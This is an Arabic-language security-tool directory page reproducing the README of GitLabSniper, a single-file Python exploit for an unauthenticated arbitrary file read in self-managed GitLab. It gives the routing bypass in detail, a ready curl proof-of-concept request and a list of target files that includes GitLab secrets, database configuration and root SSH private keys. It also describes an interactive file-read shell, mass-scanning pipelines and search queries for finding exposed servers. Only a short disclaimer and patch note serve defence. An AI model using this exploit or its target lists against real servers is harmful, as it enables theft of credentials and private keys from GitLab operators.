Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
GitLabSniper — ماسح ومستغل Python في ملف واحد لـ CVE-2026-85706، وهو قراءة ملفات عشوائية بدون مصادقة في GitLab CE/EE ذاتي الإدارة، مع تعداد المشاريع، ومسارات الغنائم، وصدفة تفاعلية. | Kitploit
أدوات/GitHubGitHub/ynsmroztas/gitlabsniper
الاستطلاعماسحات الثغرات الأمنيةالاستغلالالبرمجة النصية والأتمتةاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتأمن الويباختبار الاختراق
GitHubynsmroztas/gitlabsniper

GitLabSniper

ماسح ومستغل Python في ملف واحد لـ CVE-2026-85706، وهو قراءة ملفات عشوائية بدون مصادقة في GitLab CE/EE ذاتي الإدارة، مع تعداد المشاريع، ومسارات الغنائم، وصدفة تفاعلية.

2منذ 16س 46دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

GitLabSniper — CVE-2026-85706 unauthenticated file read pipeline

GitLabSniper

CVE-2026-85706 — قراءة ملفات عشوائية بدون مصادقة في GitLab CE/EE
اكتشاف · تعداد المشاريع العامة · جمع الغنائم · صدفة تفاعلية · خط أنابيب subfinder/httpx


المؤلف: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
الموقع: ynsmroztas.github.io
البريد: [email protected]

استخدمه فقط على الأنظمة التي تملكها أو المصرّح لك صراحةً باختبارها (bug bounty / VDP / عقد مكتوب).


ما هذا

GitLabSniper.py هو ماسح/مستغل بايثون في ملف واحد لـ CVE-2026-85706: قراءة ملفات محلية بدون مصادقة في GitLab Community Edition وEnterprise Edition المُدار ذاتيًا.

إنه لا يتوقف عند "الإصدار يبدو متأثرًا". بل يُطلق تجاوز Workhorse parser-differential، ويصنّف استجابة Rails، ولا يطبع FILE LEAK إلا عندما يحتوي جسم الاستجابة 400 على بايتات الملف داخل invalid %-encoding (...).

النطاقالإصدارات
المتأثرة18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
المُرقّعة19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
خارج النطاقgitlab.com · GitLab Dedicated

كيف تعمل الثغرة

ثلاثة نقاط نهاية للمستودع تقع خلف Workhorse requestBodyUploader:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

يأخذ Rails حقل file.path الخام ويشغّل File.open قبل authenticate!. إن require_gitlab_workhorse! ليس بوابة حقيقية هنا: فـ Workhorse يختم بالفعل JWT صالحًا Gitlab-Workhorse-Api-Request على أي شيء يمرره كوكيل.

كان من المفترض أن يعيد Workhorse كتابة الرفع أولًا. لكن تعبير المسار النمطي (route regex) الخاص به يطابق EscapedPath() ونسخة path.Clean التي لا تفكّ ترميز النسبة المئوية أبدًا. بينما Puma يفكّ ترميز %XX قبل توجيه Grape.

root@kitploit:~
Attacker
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← الشرطة المائلة اللاحقة تنزلق أيضًا
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     regex sees "%63ommits" / "commits/"  → MISS  (no rewrite)
        │
        ▼
Puma          decodes %63 → commits                 → ROUTES to Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → BEFORE auth
        │
        ▼
Rack          parse_nested_query(File.read(path))
              stray "%" that is not %HH
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<raw file bytes>)

file= الفارغ يُرضي requires :file, WorkhorseFile (الفارغ → nil). قناة التسريب هي فرع urlencoded. أما JSON/Oj فلا يعكس بايتات الملف بالطريقة نفسها — لذلك تُرسل الأداة دائمًا Content-Type=application/x-www-form-urlencoded.

// و/./ و%2F و; لا تتجاوز: فـ path.Clean يُطبّع الأولين وPuma يرفض %2F.

معرّف المشروع ليس "أي مستودع لسرقة الملفات منه". فـ file.path هو مسار مطلق على الخادم. المعرّف هو فقط جزء الرابط الذي يصل إلى المتحكم المصاب.

لهذا السبب تُعدّد الأداة GET /api/v4/projects وتتخطى المعرّفات المقيّدة.

التسريب المؤكد يتطلب وجود هذه السلسلة الفرعية في الجسم:

root@kitploit:~
invalid %-encoding (

الملفات التي لا تحتوي على % منفردة قد تُفتح رغم ذلك (read-noecho / لاحقًا branch is required) لكنها لن تُعكس. هذا أوراكل، وليس تفريغًا قابلًا للإبلاغ.


الميزات

  • بصمة GitLab (HTML / x-gitlab-* / sign-in) + نطاق الإصدار عند ظهوره
  • تعداد المشاريع العامة (GET /api/v4/projects)
  • اختيار تلقائي لمعرّف مشروع غير مقيّد (احتياطي 1..7)
  • مصفوفة تجاوز Workhorse
    • %63ommits · %72epository · %66iles
    • الشرطة المائلة اللاحقة / · .json
    • POST + PUT على files
  • مصنّف الاستجابة: leak · leak-fragment · read-noecho · missing · project-gate · rewrite ·

التثبيت

root@kitploit:~
pip install requests
python3 GitLabSniper.py -h

Python 3.10+. لا تبعيات أخرى.


الاستخدام

مضيف واحد

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

صدفة تفاعلية

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --shell
root@kitploit:~
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

خط الأنابيب (subfinder + httpx)

root@kitploit:~
subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin is not a TTY → --pipe is implied
cat hosts.txt | python3 GitLabSniper.py --auto

المحلّل يقبل:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • كائنات httpx -json (url / status_code)
  • host مجرّد وhost:port
  • يتخطى [0] / timeout / الصفوف الفارغة

الأعلام (Flags)

رموز الخروج: 0 تسريب · 1 أوراكل فقط / لا تسريب في خط الأنابيب · 2 لا إشارة قابلة للاستخدام.


الأحكام (Verdicts)

لا تُقدّم بلاغًا حرجًا بناءً على read-noecho وحده.


مسارات الغنائم الافتراضية

root@kitploit:~
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ

الأعلى تأثيرًا عند عكسها: secrets.yml، gitlab-secrets.json، database.yml (secret_key_base، otp_key_base، كلمة مرور قاعدة البيانات).


PoC يدوي (نفس الطلب الذي تُصدره الأداة)

root@kitploit:~
curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"

النسخة المصابة تُعيد JSON مشابهًا لـ:

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}

على بعض المضيفات يكون %63ommits بـ 401 و**/repository/commits/** (الشرطة المائلة اللاحقة) هو النموذج الذي يسرّب. الأداة تجرّب كل صيغة.


مساعدات الاستطلاع

root@kitploit:~
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"

اقرنه بـ subfinder | httpx | GitLabSniper.py --pipe --auto.


إخلاء المسؤولية

هذا المستودع مخصص لاختبار الأمان المصرّح به والتحقق الدفاعي بعد الترقيع. أنت مسؤول عن النطاق.

إذا كنت تُشغّل صندوق GitLab مُدارًا ذاتيًا في النطاق المتأثر: رقِّ إلى 19.1.8 / 19.2.6 / 19.3.2 الآن. ابحث في سجلات الوصول عن POST /api/v4/projects/*/repository/commits مع معامل استعلام file.path.


الشكر

الثغرة أبلغ عنها s3ntago عبر GitLab HackerOne.

التحليل والـ PoC الأصلي الذي بُنيت عليه هذه الأداة:

https://github.com/guneykabel/cve-2026-85706

شكرًا لـ guneykabel على نشر مصنّف واضح (leak / missing / project-gate / rewrite) وشرح الفرق بين Workhorse ↔ Puma. يلفّ GitLabSniper ذلك النموذج مع تعداد المشاريع والغنائم والصدفة وخطوط أنابيب الاستطلاع.

إرشادات/ترقيعات GitLab: CE/EE 19.1.8، 19.2.6، 19.3.2.


المؤلف

Yunus Emre Öztaş · mitsec

  • X — x.com/ynsmroztas
  • GitHub — github.com/ynsmroztas
  • الويب — ynsmroztas.github.io
  • البريد — [email protected]
تنزيل الأداة
نقطة النهايةمتطلب المشروع
files (%66iles)أي معرّف غالبًا يعمل — File.open قبل فحوصات المشروع
commits (%63ommits، commits/، commits.json)يحتاج مشروعًا يستطيع مستخدم مجهول read_code عليه. وإلا 404 Project Not Found
noroute
  • قائمة غنائم --auto (hostname، passwd، secrets.yml، gitlab-secrets.json، gitlab.rb، database.yml، مفاتيح ssh، environ)
  • نموذج عمل ثابت بعد أول تسريب
  • صدفة تفاعلية (cat، loot، secrets، passwd، project <id>، curl)
  • خط أنابيب: مضيفات خام، httpx -sc -td -title، httpx -json، إزالة ANSI
  • تقرير JSON / JSONL (-o)
  • لافتة HIT ملوّنة + curl PoC جاهز للنسخ
  • العلمالمعنى
    -u / -t / --targetرابط أساسي واحد
    --pipeقراءة الأهداف من stdin
    -f / --listملف المضيفات
    --fileمسار مطلق واحد للقراءة
    --auto / --lootقائمة ملفات GitLab عالية القيمة
    --shellصدفة قراءة ملفات تفاعلية
    --project-idفرض معرّف المشروع (افتراضي: تعداد + احتياطي)
    --max-projectsحد معرّفات التعداد/الاحتياطي (افتراضي 8)
    --forceالفحص حتى لو كانت البصمة ضعيفة
    --threadsعمال خط الأنابيب (افتراضي 8)
    --timeoutبالثواني (افتراضي 15)
    -ohits.json أو hits.jsonl
    -qصامت
    --no-bannerبدون لافتة
    الوسمالمعنىللإبلاغ؟
    leakinvalid %-encoding ( + بايتات الملفنعم — مؤكد
    leak-fragmentعكس جزئيربما، أرفق الجسم
    read-noecho401 / branch is required بعد الفتح، لا % في الملفأوراكل فقط
    missinglocal file not present — التجاوز وصل إلى القرصأوراكل وجود
    project-gate404 Project Not Foundجرّب معرّفًا عامًا آخر
    rewriteWorkhorse أعاد كتابة الجسم (Invalid json)هذا النموذج ميت
    noroute404 عاديمُرقّع أو مسار خاطئ
    other500 / متبقٍفرّغ الجسم قبل الادعاء